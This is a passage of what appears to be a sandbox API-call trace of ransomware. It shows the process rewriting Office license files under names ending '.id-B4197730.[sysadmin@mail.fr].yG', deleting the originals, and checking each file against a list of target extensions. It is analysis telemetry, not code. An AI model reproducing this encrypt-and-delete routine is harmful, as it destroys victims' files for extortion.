	[0174.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0174.134] GetLastError () returned 0x0
	[0174.134] ReadFile (in: hFile=0x53c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x5a5f, lpOverlapped=0x0) returned 1
	[0174.144] WriteFile (in: hFile=0x48c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x5a60, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x5a60, lpOverlapped=0x0) returned 1
	[0174.146] ReadFile (in: hFile=0x53c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.146] WriteFile (in: hFile=0x48c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x118, lpOverlapped=0x0) returned 1
	[0174.146] SetEndOfFile (hFile=0x48c) returned 1
	[0174.146] CloseHandle (hObject=0x48c) returned 1
	[0174.146] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.146] SetEndOfFile (hFile=0x53c) returned 1
	[0174.487] CloseHandle (hObject=0x53c) returned 1
	[0174.487] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0174.488] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ppd.xrm-ms")) returned 1
	[0174.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms") returned 84
	[0174.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms") returned 84
	[0174.489] lstrlenW (lpString=".doc") returned 4
	[0174.489] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.489] lstrlenW (lpString=".docx") returned 5
	[0174.489] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.489] lstrlenW (lpString=".pdf") returned 4
	[0174.489] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.489] lstrlenW (lpString=".xls") returned 4
	[0174.489] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.489] lstrlenW (lpString=".xlsx") returned 5
	[0174.489] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.489] lstrlenW (lpString=".ppt") returned 4
	[0174.489] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms") returned 84
	[0174.489] lstrlenW (lpString=".zip") returned 4
	[0174.489] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.489] lstrlenW (lpString=".rar") returned 4
	[0174.489] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.490] lstrlenW (lpString=".bz2") returned 4
	[0174.490] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.490] lstrlenW (lpString=".7z") returned 3
	[0174.490] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms") returned 84
	[0174.490] lstrlenW (lpString=".dbf") returned 4
	[0174.490] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms") returned 84
	[0174.490] lstrlenW (lpString=".1cd") returned 4
	[0174.490] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms") returned 84
	[0174.490] lstrlenW (lpString=".jpg") returned 4
	[0174.490] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.491] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=11183) returned 1
	[0174.491] CloseHandle (hObject=0x53c) returned 1
	[0174.491] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-pl.xrm-ms")) returned 0x220
	[0174.491] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0174.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0174.492] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.492] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0174.493] GetLastError () returned 0x0
	[0174.493] ReadFile (in: hFile=0x53c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x2baf, lpOverlapped=0x0) returned 1
	[0174.513] WriteFile (in: hFile=0x364, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x2bb0, lpOverlapped=0x0) returned 1
	[0174.514] ReadFile (in: hFile=0x53c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.514] WriteFile (in: hFile=0x364, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x116, lpOverlapped=0x0) returned 1
	[0174.514] SetEndOfFile (hFile=0x364) returned 1
	[0174.514] CloseHandle (hObject=0x364) returned 1
	[0174.514] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.514] SetEndOfFile (hFile=0x53c) returned 1
	[0174.518] CloseHandle (hObject=0x53c) returned 1
	[0174.518] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0174.518] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-pl.xrm-ms")) returned 1
	[0174.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms") returned 83
	[0174.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms") returned 83
	[0174.520] lstrlenW (lpString=".doc") returned 4
	[0174.520] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.520] lstrlenW (lpString=".docx") returned 5
	[0174.520] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.520] lstrlenW (lpString=".pdf") returned 4
	[0174.520] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.520] lstrlenW (lpString=".xls") returned 4
	[0174.520] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.520] lstrlenW (lpString=".xlsx") returned 5
	[0174.520] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.520] lstrlenW (lpString=".ppt") returned 4
	[0174.520] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms") returned 83
	[0174.520] lstrlenW (lpString=".zip") returned 4
	[0174.520] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.520] lstrlenW (lpString=".rar") returned 4
	[0174.520] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.520] lstrlenW (lpString=".bz2") returned 4
	[0174.520] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.520] lstrlenW (lpString=".7z") returned 3
	[0174.520] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms") returned 83
	[0174.520] lstrlenW (lpString=".dbf") returned 4
	[0174.520] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms") returned 83
	[0174.521] lstrlenW (lpString=".1cd") returned 4
	[0174.521] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms") returned 83
	[0174.521] lstrlenW (lpString=".jpg") returned 4
	[0174.521] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.521] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=23135) returned 1
	[0174.521] CloseHandle (hObject=0x53c) returned 1
	[0174.524] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ppd.xrm-ms")) returned 0x220
	[0174.524] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0174.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0174.525] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.525] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0174.526] GetLastError () returned 0x0
	[0174.526] ReadFile (in: hFile=0x53c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x5a5f, lpOverlapped=0x0) returned 1
	[0174.563] WriteFile (in: hFile=0x364, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x5a60, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x5a60, lpOverlapped=0x0) returned 1
	[0174.565] ReadFile (in: hFile=0x53c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.565] WriteFile (in: hFile=0x364, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x118, lpOverlapped=0x0) returned 1
	[0174.565] SetEndOfFile (hFile=0x364) returned 1
	[0174.565] CloseHandle (hObject=0x364) returned 1
	[0174.565] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.565] SetEndOfFile (hFile=0x53c) returned 1
	[0174.570] CloseHandle (hObject=0x53c) returned 1
	[0174.570] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0174.570] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ppd.xrm-ms")) returned 1
	[0174.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms") returned 84
	[0174.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms") returned 84
	[0174.572] lstrlenW (lpString=".doc") returned 4
	[0174.572] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.572] lstrlenW (lpString=".docx") returned 5
	[0174.573] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.573] lstrlenW (lpString=".pdf") returned 4
	[0174.573] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.573] lstrlenW (lpString=".xls") returned 4
	[0174.573] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.573] lstrlenW (lpString=".xlsx") returned 5
	[0174.573] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.573] lstrlenW (lpString=".ppt") returned 4
	[0174.573] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms") returned 84
	[0174.573] lstrlenW (lpString=".zip") returned 4
	[0174.573] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.573] lstrlenW (lpString=".rar") returned 4
	[0174.573] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.573] lstrlenW (lpString=".bz2") returned 4
	[0174.573] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.573] lstrlenW (lpString=".7z") returned 3
	[0174.573] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms") returned 84
	[0174.573] lstrlenW (lpString=".dbf") returned 4
	[0174.573] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms") returned 84
	[0174.573] lstrlenW (lpString=".1cd") returned 4
	[0174.573] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms") returned 84
	[0174.574] lstrlenW (lpString=".jpg") returned 4
	[0174.574] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.574] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=11635) returned 1
	[0174.574] CloseHandle (hObject=0x53c) returned 1
	[0174.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ul-oob.xrm-ms")) returned 0x220
	[0174.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0174.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0174.575] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.576] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0174.576] GetLastError () returned 0x0
	[0174.577] ReadFile (in: hFile=0x53c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x2d73, lpOverlapped=0x0) returned 1
	[0174.584] WriteFile (in: hFile=0x364, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x2d80, lpOverlapped=0x0) returned 1
	[0174.585] ReadFile (in: hFile=0x53c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.586] WriteFile (in: hFile=0x364, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x11e, lpOverlapped=0x0) returned 1
	[0174.586] SetEndOfFile (hFile=0x364) returned 1
	[0174.586] CloseHandle (hObject=0x364) returned 1
	[0174.586] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.586] SetEndOfFile (hFile=0x53c) returned 1
	[0174.593] CloseHandle (hObject=0x53c) returned 1
	[0174.593] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0174.593] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ul-oob.xrm-ms")) returned 1
	[0174.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms") returned 87
	[0174.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms") returned 87
	[0174.595] lstrlenW (lpString=".doc") returned 4
	[0174.595] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.595] lstrlenW (lpString=".docx") returned 5
	[0174.595] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.595] lstrlenW (lpString=".pdf") returned 4
	[0174.595] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.595] lstrlenW (lpString=".xls") returned 4
	[0174.595] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.595] lstrlenW (lpString=".xlsx") returned 5
	[0174.595] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.595] lstrlenW (lpString=".ppt") returned 4
	[0174.595] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms") returned 87
	[0174.595] lstrlenW (lpString=".zip") returned 4
	[0174.595] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.595] lstrlenW (lpString=".rar") returned 4
	[0174.595] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.595] lstrlenW (lpString=".bz2") returned 4
	[0174.595] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.595] lstrlenW (lpString=".7z") returned 3
	[0174.595] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms") returned 87
	[0174.595] lstrlenW (lpString=".dbf") returned 4
	[0174.595] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms") returned 87
	[0174.596] lstrlenW (lpString=".1cd") returned 4
	[0174.596] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms") returned 87
	[0174.596] lstrlenW (lpString=".jpg") returned 4
	[0174.596] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.596] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=11215) returned 1
	[0174.596] CloseHandle (hObject=0x53c) returned 1
	[0174.596] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-pl.xrm-ms")) returned 0x220
	[0174.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0174.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0174.598] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.598] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0174.599] GetLastError () returned 0x0
	[0174.599] ReadFile (in: hFile=0x53c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x2bcf, lpOverlapped=0x0) returned 1
	[0174.683] WriteFile (in: hFile=0x364, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2bd0, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x2bd0, lpOverlapped=0x0) returned 1
